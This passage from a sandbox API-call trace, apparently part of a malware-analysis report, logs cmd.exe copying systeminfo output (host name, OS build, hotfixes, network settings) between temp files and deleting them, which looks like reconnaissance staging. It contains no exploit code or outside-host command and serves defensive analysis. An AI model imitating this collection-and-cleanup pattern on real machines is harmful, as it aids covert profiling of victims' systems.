hHeap=0x1f0000, dwFlags=0x0, lpMem=0x20b810 | out: hHeap=0x1f0000) returned 1 [0151.506] GetEnvironmentStringsW () returned 0x208bd0* [0151.506] GetProcessHeap () returned 0x1f0000 [0151.506] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xac0) returned 0x20ad70 [0151.506] FreeEnvironmentStringsW (penv=0x208bd0) returned 1 [0151.506] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4abcc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0151.506] GetProcessHeap () returned 0x1f0000 [0151.506] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x206600 | out: hHeap=0x1f0000) returned 1 [0151.506] GetProcessHeap () returned 0x1f0000 [0151.506] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x4016) returned 0x20cd80 [0151.507] GetProcessHeap () returned 0x1f0000 [0151.507] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x14a) returned 0x20b840 [0151.508] GetProcessHeap () returned 0x1f0000 [0151.508] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x4010) returned 0x210da0 [0151.508] GetProcessHeap () returned 0x1f0000 [0151.508] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x4010) returned 0x214dc0 [0151.508] GetProcessHeap () returned 0x1f0000 [0151.508] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x20cd80 | out: hHeap=0x1f0000) returned 1 [0151.508] GetConsoleOutputCP () returned 0x1b5 [0151.508] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4abcbfe0 | out: lpCPInfo=0x4abcbfe0) returned 1 [0151.508] GetUserDefaultLCID () returned 0x409 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4abc7b50, cchData=8 | out: lpLCData=":") returned 2 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x15fb40, cchData=128 | out: lpLCData="0") returned 2 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x15fb40, cchData=128 | out: lpLCData="0") returned 2 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x15fb40, cchData=128 | out: lpLCData="1") returned 2 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4abda740, cchData=8 | out: lpLCData="/") returned 2 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4abda4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4abda460, cchData=32 | out: lpLCData="Tue") returned 4 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4abda420, cchData=32 | out: lpLCData="Wed") returned 4 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4abda3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4abda3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4abda360, cchData=32 | out: lpLCData="Sat") returned 4 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4abda700, cchData=32 | out: lpLCData="Sun") returned 4 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4abc7b40, cchData=8 | out: lpLCData=".") returned 2 [0151.509] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4abda4e0, cchData=8 | out: lpLCData=",") returned 2 [0151.509] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0151.510] GetProcessHeap () returned 0x1f0000 [0151.510] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x0, Size=0x20c) returned 0x20ba10 [0151.510] GetConsoleTitleW (in: lpConsoleTitle=0x20ba10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0151.510] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0151.510] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0151.510] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0151.510] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0151.511] GetProcessHeap () returned 0x1f0000 [0151.511] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x4012) returned 0x20cd80 [0151.511] GetProcessHeap () returned 0x1f0000 [0151.511] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x20cd80 | out: hHeap=0x1f0000) returned 1 [0151.511] _wcsicmp (_String1="type", _String2=")") returned 75 [0151.511] _wcsicmp (_String1="FOR", _String2="type") returned -14 [0151.511] _wcsicmp (_String1="FOR/?", _String2="type") returned -14 [0151.511] _wcsicmp (_String1="IF", _String2="type") returned -11 [0151.511] _wcsicmp (_String1="IF/?", _String2="type") returned -11 [0151.511] _wcsicmp (_String1="REM", _String2="type") returned -2 [0151.511] _wcsicmp (_String1="REM/?", _String2="type") returned -2 [0151.511] GetProcessHeap () returned 0x1f0000 [0151.511] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xb0) returned 0x20bc30 [0151.511] GetProcessHeap () returned 0x1f0000 [0151.511] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x1a) returned 0x204700 [0151.512] GetProcessHeap () returned 0x1f0000 [0151.512] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x72) returned 0x20bcf0 [0151.512] GetProcessHeap () returned 0x1f0000 [0151.512] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x38) returned 0x206600 [0151.515] GetProcessHeap () returned 0x1f0000 [0151.515] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x6c) returned 0x20bd70 [0151.515] GetProcessHeap () returned 0x1f0000 [0151.515] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x74) returned 0x20bdf0 [0151.516] GetProcessHeap () returned 0x1f0000 [0151.516] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xb0) returned 0x20be70 [0151.516] _wcsicmp (_String1="del", _String2=")") returned 59 [0151.516] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0151.516] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0151.516] _wcsicmp (_String1="IF", _String2="del") returned 5 [0151.516] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0151.516] _wcsicmp (_String1="REM", _String2="del") returned 14 [0151.516] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0151.516] GetProcessHeap () returned 0x1f0000 [0151.516] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xb0) returned 0x20bf30 [0151.516] GetProcessHeap () returned 0x1f0000 [0151.516] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x18) returned 0x208a70 [0151.517] GetProcessHeap () returned 0x1f0000 [0151.517] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x70) returned 0x20bff0 [0151.518] GetProcessHeap () returned 0x1f0000 [0151.518] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x28) returned 0x204730 [0151.518] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.518] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.518] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.518] GetFileType (hFile=0x7) returned 0x2 [0151.518] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0151.518] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x15f958 | out: lpMode=0x15f958) returned 1 [0151.519] _dup (_FileHandle=1) returned 3 [0151.519] _close (_FileHandle=1) returned 0 [0151.519] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", _String2="con") returned -53 [0151.519] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x15f908, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0151.520] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0151.520] GetConsoleTitleW (in: lpConsoleTitle=0x15f990, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0151.520] _wcsicmp (_String1="type", _String2="DIR") returned 16 [0151.520] _wcsicmp (_String1="type", _String2="ERASE") returned 15 [0151.520] _wcsicmp (_String1="type", _String2="DEL") returned 16 [0151.520] _wcsicmp (_String1="type", _String2="TYPE") returned 0 [0151.520] GetProcessHeap () returned 0x1f0000 [0151.520] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xd8) returned 0x20c070 [0151.523] GetProcessHeap () returned 0x1f0000 [0151.523] RtlReAllocateHeap (Heap=0x1f0000, Flags=0x0, Ptr=0x20c070, Size=0x70) returned 0x20c070 [0151.523] GetProcessHeap () returned 0x1f0000 [0151.523] RtlSizeHeap (HeapHandle=0x1f0000, Flags=0x0, MemoryPointer=0x20c070) returned 0x70 [0151.523] GetProcessHeap () returned 0x1f0000 [0151.523] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x7e) returned 0x20c0f0 [0151.524] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4abcc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0151.524] GetProcessHeap () returned 0x1f0000 [0151.524] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xd8) returned 0x20c180 [0151.525] GetProcessHeap () returned 0x1f0000 [0151.526] RtlReAllocateHeap (Heap=0x1f0000, Flags=0x0, Ptr=0x20c180, Size=0x70) returned 0x20c180 [0151.526] GetProcessHeap () returned 0x1f0000 [0151.526] RtlSizeHeap (HeapHandle=0x1f0000, Flags=0x0, MemoryPointer=0x20c180) returned 0x70 [0151.526] GetProcessHeap () returned 0x1f0000 [0151.526] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x6e) returned 0x20c200 [0151.526] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", fInfoLevelId=0x1, lpFindFileData=0x15f270, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15f270) returned 0x1f1320 [0151.526] GetProcessHeap () returned 0x1f0000 [0151.526] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x0, Size=0x28) returned 0x204760 [0151.526] GetProcessHeap () returned 0x1f0000 [0151.526] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x260) returned 0x1f1380 [0151.526] _wcsicmp (_String1="1D0E.bin1", _String2=".") returned 3 [0151.526] _wcsicmp (_String1="1D0E.bin1", _String2="..") returned 3 [0151.526] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1")) returned 0x2020 [0151.526] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x15e0b8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0151.526] _open_osfhandle (_OSFileHandle=0x58, _Flags=8) returned 4 [0151.526] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.526] GetFileType (hFile=0x58) returned 0x1 [0151.526] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.526] GetFileSize (in: hFile=0x58, lpFileSizeHigh=0x15e164 | out: lpFileSizeHigh=0x15e164*=0x0) returned 0x13b52 [0151.526] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.527] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.527] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.527] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.527] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.527] GetFileType (hFile=0x50) returned 0x1 [0151.527] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="\r\nHost Name: YKYD69Q\r\nOS Name: Microsoft Windows 7 Professional \r\nOS Version: 6.1.7601 Service Pack 1 Build 7601\r\nOS Manufacturer: Microsoft Corporation\r\nOS Configuration: Standalone Workstation\r\nOS Build Type: Multiprocessor Free\r\nRegistered Owner: jQx05XH2W qXsey3BPY\r\nRegistered Organization: KhoZov3s y5yie06H\r\nProduct ID: 00371-223-0192772-86275\r\nOriginal Install Date: 6/30/2017, 9:06:18 AM\r\nSyst\x15") returned 512 [0151.527] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.527] GetFileType (hFile=0x50) returned 0x1 [0151.527] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.527] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.528] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.528] GetFileType (hFile=0x50) returned 0x1 [0151.528] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.528] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.528] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.528] GetFileType (hFile=0x50) returned 0x1 [0151.528] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.528] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.528] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.529] GetFileType (hFile=0x50) returned 0x1 [0151.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.529] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.529] GetFileType (hFile=0x50) returned 0x1 [0151.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.529] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.529] GetFileType (hFile=0x50) returned 0x1 [0151.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.529] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.529] GetFileType (hFile=0x50) returned 0x1 [0151.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.529] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.529] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.529] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=512) returned 1 [0151.529] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.529] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.529] GetFileType (hFile=0x50) returned 0x1 [0151.529] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="em Boot Time: 6/9/2019, 3:03:46 PM\r\nSystem Manufacturer: INTEL\r\nSystem Model: BROMOLOW\r\nSystem Type: x64-based PC\r\nProcessor(s): 1 Processor(s) Installed.\r\n [01]: Intel64 Family 6 Model 94 Stepping 3 GenuineIntel ~3600 Mhz\r\nBIOS Version: \"Phoenix Technologies LTD\" \"6.00 PG\", 4/1/2014\r\nWindows Directory: C:\\Windows\r\nSystem Directory: C:\\Windows\\system32\r\nBoot Device: \\Device\\HarddiskVo\x15") returned 512 [0151.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.529] GetFileType (hFile=0x50) returned 0x1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] GetFileType (hFile=0x50) returned 0x1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] GetFileType (hFile=0x50) returned 0x1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] GetFileType (hFile=0x50) returned 0x1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] GetFileType (hFile=0x50) returned 0x1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] GetFileType (hFile=0x50) returned 0x1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] GetFileType (hFile=0x50) returned 0x1 [0151.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.530] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.530] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.530] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=1024) returned 1 [0151.531] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.531] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] GetFileType (hFile=0x50) returned 0x1 [0151.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="lume1\r\nSystem Locale: en-us;English (United States)\r\nInput Locale: en-us;English (United States)\r\nTime Zone: (UTC) Monrovia, Reykjavik\r\nTotal Physical Memory: 4,096 MB\r\nAvailable Physical Memory: 8 MB\r\nVirtual Memory: Max Size: 4,095 MB\r\nVirtual Memory: Available: 644 MB\r\nVirtual Memory: In Use: 3,451 MB\r\nPage File Location(s): C:\\pagefile.sys\r\nDomain: WORKGROUP\r\nLogon Server: \\\\YKYD69Q\r\nHotfix(s): 4 Hotfix(\x15") returned 512 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] GetFileType (hFile=0x50) returned 0x1 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] GetFileType (hFile=0x50) returned 0x1 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] GetFileType (hFile=0x50) returned 0x1 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] GetFileType (hFile=0x50) returned 0x1 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] GetFileType (hFile=0x50) returned 0x1 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] GetFileType (hFile=0x50) returned 0x1 [0151.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.531] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] GetFileType (hFile=0x50) returned 0x1 [0151.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.532] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.532] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=1536) returned 1 [0151.532] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.532] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] GetFileType (hFile=0x50) returned 0x1 [0151.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="s) Installed.\r\n [01]: KB2534111\r\n [02]: KB2999226\r\n [03]: KB958488\r\n [04]: KB976902\r\nNetwork Card(s): 1 NIC(s) Installed.\r\n [01]: Intel(R) PRO/1000 MT Network Connection\r\n Connection Name: Local Area Connection\r\n DHCP Enabled: Yes\r\n DHCP Server: 192.168.0.1\r\n \x15") returned 512 [0151.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] GetFileType (hFile=0x50) returned 0x1 [0151.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] GetFileType (hFile=0x50) returned 0x1 [0151.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] GetFileType (hFile=0x50) returned 0x1 [0151.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] GetFileType (hFile=0x50) returned 0x1 [0151.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.532] 